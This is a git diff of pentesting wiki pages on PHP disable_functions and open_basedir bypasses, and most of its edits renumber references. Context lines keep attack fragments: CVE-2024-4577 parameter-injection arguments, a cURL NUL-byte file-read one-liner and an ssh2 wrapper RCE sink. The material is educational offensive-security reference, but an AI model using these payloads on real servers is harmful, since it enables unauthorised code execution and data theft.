[**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP is not going to be setting headers in the response.[[8]](#references) +From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP is not going to be setting headers in the response.[[7]](#references) Allowing to bypass for example CSP headers being set in codes like: @@ -227,7 +227,7 @@ php-ssrf.md {{#endref}} ## ssh2.exec stream wrapper RCE -When the `ssh2` extension is installed (`ssh2.so` visible under `/etc/php*/mods-available/`, `php -m`, or even an FTP-accessible `php8.1_conf/` directory), PHP registers `ssh2.*` wrappers that can be abused anywhere user input is concatenated into `fopen()/file_get_contents()` targets. An admin-only download helper such as:[[1]](#references) +When the `ssh2` extension is installed (`ssh2.so` visible under `/etc/php*/mods-available/`, `php -m`, or even an FTP-accessible `php8.1_conf/` directory), PHP registers `ssh2.*` wrappers that can be abused anywhere user input is concatenated into `fopen()/file_get_contents()` targets. An admin-only download helper such as:[[8]](#references) ```php $wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : ''; @@ -353,7 +353,7 @@ If you find a vulnerability that allows you to **modify env variables in PHP** ( ### XAMPP CGI RCE - CVE-2024-4577 -The webserver parses HTTP requests and passes them to a PHP script executing a request such as as [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body: +The webserver parses HTTP requests and passes them to a PHP script executing a request such as as [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:[[11]](#references) ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input @@ -537,14 +537,14 @@ $___($_[_]); // ASSERT($_POST[_]); ## References -- [1] [0xdf – HTB Era: abusing ssh2.exec stream wrappers](https://0xdf.gitlab.io/2025/11/29/htb-era.html) -- [2] [PHP Type Juggling Vulnerabilities](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) -- [3] [Facebook CTF 2019 Writeup: rceservice – Bypassing preg_match](https://ramadistra.dev/fbctf-2019-rceservice) -- [4] [Solving Each and Every FB CTF Challenge – Part 1](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) -- [5] [Intigriti 1223 Challenge Writeup – PHP ReDoS preg_match Bypass to SSTI](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) -- [6] [Pong – ReDoS to SSRF via Open Redirect and DNS Zone Transfer (CTF Writeup)](https://mizu.re/post/pong) -- [7] [How an obscure PHP footgun led to RCE in Craft CMS](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) -- [8] [pilvar222 on X: PHP skips response headers after 1000+ GET/POST params or 20 files](https://twitter.com/pilvar222/status/1784618120902005070) +- [1] [PHP Type Juggling Vulnerabilities](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) +- [2] [Facebook CTF 2019 Writeup: rceservice – Bypassing preg_match](https://ramadistra.dev/fbctf-2019-rceservice) +- [3] [Solving Each and Every FB CTF Challenge – Part 1](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) +- [4] [Intigriti 1223 Challenge Writeup – PHP ReDoS preg_match Bypass to SSTI](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) +- [5] [Pong – ReDoS to SSRF via Open Redirect and DNS Zone Transfer (CTF Writeup)](https://mizu.re/post/pong) +- [6] [How an obscure PHP footgun led to RCE in Craft CMS](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) +- [7] [pilvar222 on X: PHP skips response headers after 1000+ GET/POST params or 20 files](https://twitter.com/pilvar222/status/1784618120902005070) +- [8] [0xdf – HTB Era: abusing ssh2.exec stream wrappers](https://0xdf.gitlab.io/2025/11/29/htb-era.html) - [9] [CVE-2023-36844 and Friends: RCE in Juniper Devices](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) - [10] [Fileless Remote Code Execution on Juniper Firewalls](https://vulncheck.com/blog/juniper-cve-2023-36845) - [11] [No Way, PHP Strikes Again! (CVE-2024-4577)](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index a4d01a7f5ec..a267035cf94 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -99,7 +99,7 @@ A method described in the [**original writeup**](https://swarm.ptsecurity.com/ex ## Yii / Craft CMS config-array object creation -Craft CMS CVE-2025-32432 is a good real-world example of a broader Yii abuse pattern: if attacker-controlled arrays reach a Yii constructor or `Yii::createObject()`-style sink, **behavior attachment and class selection can become an object-instantiation primitive**.[[3]](#references) +Craft CMS CVE-2025-32432 is a good real-world example of a broader Yii abuse pattern: if attacker-controlled arrays reach a Yii constructor or `Yii::createObject()`-style sink, **behavior attachment and class selection can become an object-instantiation primitive**.[[3]](#references)[[4]](#references) Two config features are especially interesting:[[3]](#references)[[5]](#references) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index 0d240e507b5..34434e25ffa 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -72,4 +72,3 @@ $file = file_get_contents($url, false, $context); - [1] [Exploring the Unknown: Beneath the Surface of Unpatched WordPress SSRF](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf) {{#include ../../../banners/hacktricks-training.md}} - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 904b1c1afd2..715263cddb8 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -827,5 +827,3 @@ get_meta_tags {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md index 06588bd7d45..6ac845b9472 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md @@ -4,9 +4,9 @@ > The well-known *ImageTragick* family of bugs (CVE-2016-3714 et al.) allows an attacker to reach the underlying **ImageMagick** binary through crafted MVG/SVG input. When the PHP extension **Imagick** is present this can be abused to execute shell commands even if every execution-oriented PHP function is black-listed with `disable_functions`. > -> The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below.[[3]](#references) The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers simply compile PHP without `exec`/`system` but keep an outdated Imagick + ImageMagick combo. +> The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below.[[1]](#references) The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers simply compile PHP without `exec`/`system` but keep an outdated Imagick + ImageMagick combo. -From [[3]](#references) +From [[1]](#references) ```php # Exploit Title : PHP Imagick disable_functions bypass @@ -53,7 +53,7 @@ echo file_get_contents($tmp); * Any Imagick version that relies on a vulnerable ImageMagick backend remains exploitable. In lab tests the same payload works on PHP 8.3 with **Imagick 3.7.0** and **ImageMagick 7.1.0-51** compiled without a hardened `policy.xml`. * Since 2020 several additional command-injection vectors have been found (`video:pixel-format`, `ps:`, `text:` coders…). Two recent public examples are: * **CVE-2020-29599** – shell injection via the *text:* coder.[[2]](#references) - * **GitHub issue #6338** (2023) – injection in the *video:* delegate.[[1]](#references) + * **GitHub issue #6338** (2023) – injection in the *video:* delegate.[[3]](#references) If the operating system ships ImageMagick < **7.1.1-11** (or 6.x < **6.9.12-73**) without a restrictive policy file, exploitation is straightforward. @@ -108,8 +108,8 @@ If the output shows the `MVG` or `URL` coders are *enabled* the target is probab ## References -- [1] [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338) +- [1] [PHP Imagick disable_functions bypass (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) - [2] [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599) -- [3] [PHP Imagick disable_functions bypass (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +- [3] [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md index 04409dfa9f3..9bfa9b34875 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md @@ -2,7 +2,6 @@ {{#include ../../../../banners/hacktricks-training.md}} - From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) ```php @@ -51,5 +50,3 @@ else {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md index 65e6636e343..92f99dfb75a 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md @@ -2,7 +2,6 @@ {{#include ../../../../banners/hacktricks-training.md}} - From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) ```php diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md index e2bfa3ac610..f7447f0abdf 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md @@ -2,7 +2,6 @@ {{#include ../../../../banners/hacktricks-training.md}} - From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) ```php @@ -15,5 +14,3 @@ php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md index a82948c739b..cef90d8dcff 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md @@ -43,7 +43,7 @@ var_dump(function_exists('win_shell_execute')); Things worth checking from a shell or via `phpinfo()`: -- **Package age**: the original PECL `win32std` package was released as **1.0 beta in 2003** and is currently marked **unmaintained**.[[2]](#references) +- **Package age**: the original PECL `win32std` package was released as **1.0 beta in 2003** and is currently marked **unmaintained**.[[1]](#references) - **Fork drift**: you may find PHP 7/8 community ports of `win32std`, but some README files only advertise helpers such as `win_beep`, `win_play_wav`, and `win_create_link`. If `win_shell_execute` is missing from `get_extension_funcs('win32std')`, this page does **not** apply. - **SAPI/account context**: the process will run as the web-server identity (`IUSR`, `apache`, `LocalSystem`, service account, etc.), so post-exploitation impact depends on that token. @@ -51,8 +51,7 @@ If `win32std` is absent, look at the parent page for **different** `disable_func ## Original PoC - -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) +From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[2]](#references) ```php [[1]](#references) -From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/ +From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[2]](#references) ## One-liner PoC -If safe_mode or open_basedir are active and cURL is enabled, the following will return the contents of the current script:[[2]](#references) +If safe_mode or open_basedir are active and cURL is enabled, the following will return the contents of the current script:[[3]](#references) ```php var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__))); @@ -54,8 +54,8 @@ The vulnerability lies in how PHP 5.2.4/5.2.5 performed safe_mode/open_basedir c ## Related historical cURL-based bypasses -- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed `file://` access with embedded NULs to bypass open_basedir; fixed before 5.2.x.[[4]](#references) -- PHP bugs #30609/#36223 tracked early cURL open_basedir issues using `file://` without canonicalization. Any check before the NUL byte or without `realpath`-style resolution is prone to the same truncation.[[3]](#references) +- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed `file://` access with embedded NULs to bypass open_basedir; fixed before 5.2.x.[[5]](#references) +- PHP bugs #30609/#36223 tracked early cURL open_basedir issues using `file://` without canonicalization. Any check before the NUL byte or without `realpath`-style resolution is prone to the same truncation.[[4]](#references) ## CTF tips @@ -74,8 +74,9 @@ README.md ## References - [1] [Ubuntu CVE entry with patch pointers and affected versions](https://ubuntu.com/security/CVE-2007-4850) -- [2] [Technical writeup with code context (cxsecurity)](http://cxsecurity.com/issue/WLB-2008010060) -- [3] [PHP bug #36223 (curl bypasses open_basedir)](https://bugs.php.net/bug.php?id=36223) -- [4] [CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2563) +- [2] [disable_functions bypass collection (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +- [3] [Technical writeup with code context (cxsecurity)](http://cxsecurity.com/issue/WLB-2008010060) +- [4] [PHP bug #36223 (curl bypasses open_basedir)](https://bugs.php.net/bug.php?id=36223) +- [5] [CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2563) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md index 3f59c80ce10..1a9553a7713 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md @@ -232,6 +232,3 @@ function pwn($cmd) { - [1] [PHP 7.0-7.4 use-after-free disable_functions bypass exploit (mm0r1/exploits)](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php) {{#include ../../../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index f98d710ef45..54a60470137 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -16,7 +16,7 @@ Normally web pages, files and all of the documents which are transferred from th If **CGI** is installed on the server, the specific cgi-bin directory is also added there, for example home/user/public_html/cgi-bin. CGI scripts are stored in this directory. **Each file in the directory is treated as an executable program**. When accessing a script from the directory, the server sends request to the application, responsible for this script, instead of sending file's content to the browser. **After the input data processing is completed, the application sends the output data** to the web server which forwards the data to the HTTP client. -For example, when the CGI script [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. (explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)) +For example, when the CGI script [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. (explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html))[[1]](#references) ### FastCGI @@ -65,7 +65,7 @@ Uploading and accessing this script the exploit is going to be sent to FastCGI. > [!CAUTION] > I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that `phpinfo()` from FastCGI execution indicated that `disable_functions` was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)), or twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.** -Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).[[3]](#references) +Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).[[4]](#references) ```php [[1]](#references) +- PHP-FPM documents that `php_value` / `php_flag` will **not** overwrite previously defined `disable_functions` / `disable_classes` values.[[2]](#references) - `phpinfo()` can be misleading here. There is even an old PHP-FPM bug report showing mismatches between what `phpinfo()` displays and what is actually enforced for `disable_functions`. So, for this technique, think of `PHP_VALUE` as the primitive to relax `open_basedir` and to inject `auto_prepend_file`, but **not** as a reliable way to unset `disable_functions`. @@ -438,7 +438,7 @@ This is a php script to exploit fastcgi protocol to bypass `open_basedir` and `d It will help you to bypass strict `disable_functions` to RCE by loading the malicious extension.\ You can access it here: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) or a sligtly modified and improved version here: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi) -You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using `PHP_VALUE`, it tries to **load an external PHP module** using `extension_dir` and `extension` inside `PHP_ADMIN_VALUE`. That is the important distinction: if you can directly talk to PHP-FPM, forcing it to load an attacker-controlled extension is usually the path that turns FastCGI access into real code execution even when `system`, `exec`, `shell_exec`, and friends remain disabled.[[2]](#references)\ +You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using `PHP_VALUE`, it tries to **load an external PHP module** using `extension_dir` and `extension` inside `PHP_ADMIN_VALUE`. That is the important distinction: if you can directly talk to PHP-FPM, forcing it to load an attacker-controlled extension is usually the path that turns FastCGI access into real code execution even when `system`, `exec`, `shell_exec`, and friends remain disabled.[[3]](#references)\ **NOTE1**: You probably will need to **recompile** the extension with the **same PHP version/build that the server** is using (you can check it inside the output of phpinfo): ![PHP exploit - FuckFastGCI: NOTE1 : You probably will need to recompile the extension with the same PHP version/build that the server is using (you can check it inside the output of phpinfo)](<../../../../images/image (180).png>) @@ -451,20 +451,18 @@ You will find that the exploit is very similar to the previous code, but instead > > The BorelEnzo fork also notes a practical PHP 8 detail: old sample extensions using `TSRMLS_CC` need to be adjusted for PHP 8+. -The improved fork also contains a **pure-PHP variant** that abuses `sendmail_path` instead of loading a custom extension. This removes the need to upload a `.so`, but it still depends on a useful primitive such as `mail()` being callable and a local MTA path being available.[[2]](#references) +The improved fork also contains a **pure-PHP variant** that abuses `sendmail_path` instead of loading a custom extension. This removes the need to upload a `.so`, but it still depends on a useful primitive such as `mail()` being callable and a local MTA path being available.[[3]](#references) ### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043) You can exploit this vulnerability with [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) and test is using this docker environment: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\ You can also find an analysis of the vulnerability [**here**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.** - - ## References -- [1] [PHP manual: FPM configuration (`php_value` / `php_admin_value` and the `disable_functions` note)](https://www.php.net/manual/en/install.fpm.configuration.php) -- [2] [Borel Enzo: FuckFastCGI made simpler](https://borelenzo.github.io/stuff/2023/02/05/php-ffcgi.html) -- [3] [0CTF/TCTF 2019 Quals writeup - wallbreaker (easy)](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) - +- [1] [What is CGI and FastCGI? (Superhosting.bg help)](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html) +- [2] [PHP manual: FPM configuration (`php_value` / `php_admin_value` and the `disable_functions` note)](https://www.php.net/manual/en/install.fpm.configuration.php) +- [3] [Borel Enzo: FuckFastCGI made simpler](https://borelenzo.github.io/stuff/2023/02/05/php-ffcgi.html) +- [4] [0CTF/TCTF 2019 Quals writeup - wallbreaker (easy)](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md index 2d81a7d0cd8..acd06cc62d7 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md @@ -3,7 +3,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) +From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references)[[2]](#references) {{#tabs}} {{#tab name="exploit.php"}} @@ -77,8 +77,7 @@ exit ## References - [1] [PHP 5.2.9 (Windows x86) - Local Safemod Bypass (Abysssec Inc Public Advisory)](https://www.exploit-db.com/exploits/8799) +- [2] [disable_functions bypass collection (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md index 18838fe6557..f58cee03c86 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md @@ -8,21 +8,21 @@ The issue tracked as **CVE-2007-4596** comes from the legacy `perl` PHP extensio ## Compatibility & Packaging Status (2025) -* The last PECL release (`perl-1.0.1`, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.[[2]](#references) -* PECL is being superseded by PIE, but older stacks still ship PECL/pear.[[4]](#references) Use the flow below on PHP 5/7 targets; on newer PHP expect to downgrade or switch to another injection path (e.g., userland FFI). +- The last PECL release (`perl-1.0.1`, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.[[2]](#references) +- PECL is being superseded by PIE, but older stacks still ship PECL/pear.[[4]](#references) Use the flow below on PHP 5/7 targets; on newer PHP expect to downgrade or switch to another injection path (e.g., userland FFI). ## Building a Testable Environment in 2025 -* Fetch `perl-1.0.1` from PECL, compile it for the PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted). -* Quick Debian-based lab recipe: +- Fetch `perl-1.0.1` from PECL, compile it for the PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted). +- Quick Debian-based lab recipe: ```bash sudo apt install php5.6 php5.6-dev php-pear build-essential sudo pecl install perl-1.0.1 echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini sudo phpenmod perl && sudo systemctl restart apache2 ``` -* During exploitation confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for `perl.so` or abuse writable `php.ini`/`.user.ini` entries to force-load it. -* Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or `proc_open` blacklists do not matter. +- During exploitation confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for `perl.so` or abuse writable `php.ini`/`.user.ini` entries to force-load it. +- Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or `proc_open` blacklists do not matter. ### On-host build chain when phpize is reachable diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md index 0751eaebe32..84598531ce7 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md @@ -21,6 +21,3 @@ while (!feof($a)) - [1] [PHP disable_functions bypass techniques collection - SafeBuff blog](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) {{#include 